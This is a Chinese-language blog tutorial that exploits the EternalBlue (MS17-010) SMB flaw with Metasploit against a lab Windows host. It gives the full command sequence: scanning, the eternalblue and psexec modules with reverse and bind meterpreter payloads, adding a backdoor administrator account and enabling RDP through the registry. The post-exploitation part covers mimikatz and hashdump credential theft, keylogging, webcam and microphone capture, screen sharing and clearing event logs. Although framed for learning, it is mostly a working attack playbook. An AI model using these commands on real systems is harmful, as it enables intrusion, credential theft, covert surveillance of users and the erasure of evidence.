目录
  1. 1. 漏洞原理
    1. 1.1. 简介:
    2. 1.2. 漏洞原理代码详解
  2. 2. 漏洞复现
    1. 2.1. 工具准备
    2. 2.2. 信息收集
    3. 2.3. 尝试攻击
    4. 2.4. get shell
  3. 3. msf后渗透
永恒之蓝漏洞利用+后渗透

漏洞原理

简介:

  • 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码

  • 注:SMB服务的作用:该服务器在windows与UNIX系列OS之间搭建起一座桥梁,让两者的资源可互通有无。

漏洞原理代码详解

下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解漏洞的同学可以点击查看

  1. 搜索漏洞模块
    在kali终端输入
    search ms17-010
  2. 加载扫描模块
    use auxiliary/scanner/smb/smb_ms17_010

    输入要扫描的IP
    set rhosts 172.22.162.210
    run
    扫描结果显示该主机很容易受到ms17-010的攻击

    如果要进行全网段扫描可以在设置目标的时候输入set rhosts 网段/掩码位数,再设置线程set threads 100就可以进行全网段扫描了。
  3. 使用攻击模块
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/reverse_tcp
    set rhosts 172.22.162.210
    set lhost 172.22.163.97
    run
    选择攻击模块时要注意选择合适的版本,有些版本适用于win8以上
  • set payload:设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
    因为目标主机是64位主机,所以我们要用到的payload为windows x64,要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload
  • show options:使用该命令会列出使用当前模块所需要配置的参数
  • set rhosts:目标主机地址:该命令会设置好需要攻击的目标主机地址
  • set lhost:攻击机地址:该命令设置攻击机的地址,是目标主机回连至攻击机
  • set lport:回连的端口:该命令会设置主机回连至攻击机的端口,默认为4444
  • run:开始攻击

攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter回话

get shell

  1. 获取shell(windwos主机的cmd)

    如果发现乱码输入chcp 65001即可改变编码
  2. 提权
    当我们获取了shell后权限是很低的,这个时候我们就新建一个名为test的管理员,密码为123456
  3. 远程连接
    打开3389端口方便我们远程连接这台主机REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

    新建一个终端窗口输入rdesktop 172.22.162.210
  • -u:指定用户名
  • -p:指定密码
  • -f:全屏显示
    更多参数输入rdesktop --help

选择其他用户登录我们之前创建的test用户就可以图形化操作了

该永恒之蓝模块只适用于64位win7和server2008
要是现在有一台存在漏洞的32位2003系统该怎么办
这里我们就需要用到永恒之蓝的另一个模块
use exploit/windows/smb/ms17_010_psexec
这个模块支持server2003这样的老系统并支持32位系统
set payload windows/meterpreter/bind_tcp

msf后渗透

返回Metasploit继续操作
在之前的shell界面输入exit

  • 查看用户密码
    1. 加载mimikatz:laod mimikatz
    2. 获取明文密码:kerberos,如果开机没使用密码kerberos是抓取不到的,也可以用wdigest


如果在提权之前用kerberos获取到内存中的管理员密码可以减少提权这一步哦

  • getuid查看当前用户

  • sysinfo查看系统信息

  • ifconfig查看网卡信息

  • ps查看任务管理器

  • hashdump查看用户hash

  • 监听键盘记录
    首先我们要迁移到对应用户的进程上
    先用ps查看下进程


我们发现administrator的进程为1968
migrate 1968
将进程迁移到administrator进程上
getuid查看当前用户已经切换到了administrator

keyscan_start
开始监听键盘记录
这时我们模拟一下登录qq邮箱
keyscan_dump
查看监听的键盘记录

通过监听键盘记录发现主机访问了qq邮箱输入了qq号:te退格退格123456和密码:test123tabtest132
keyscan_stop
停止键盘监听

  • uictl键盘/鼠标开关必须要32位主机

    • uictl enable/disable keyboard开启或禁用键盘
    • uictl enable/disable mouse开启或禁用鼠标
    • uictl enable/disable all开启或禁用键盘鼠标
  • webcam查看摄像头

    • webcam_list:查看摄像头列表
    • webcam_snap:通过摄像头拍照
    • webcam_stream:通过摄像头开启视频
      由于我是虚拟机,检测不到摄像头驱动。
  • execute执行文件

    • execute -f执行制定文件
    • execute -H -i -f cmd.exe创建新的cmd,-H不可见,-i交互

  • screenshot:截屏
  • screenshare:查看实时共享屏幕
    左边为攻击机,右边为被攻击主机
  • record_mic:记录声音
  • clearev:清理日志

严重声明:本站内容仅适于网络安全技术和信息安全爱好者学习研究使用,禁止用于非法用途,学习中请遵循国家相关法律法规,共同维护网络安全

文章作者: Corey
文章链接: https://c-hasel.github.io/2019/12/05/%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Corey's Blog
打赏
  • 微信
  • 支付宝

评论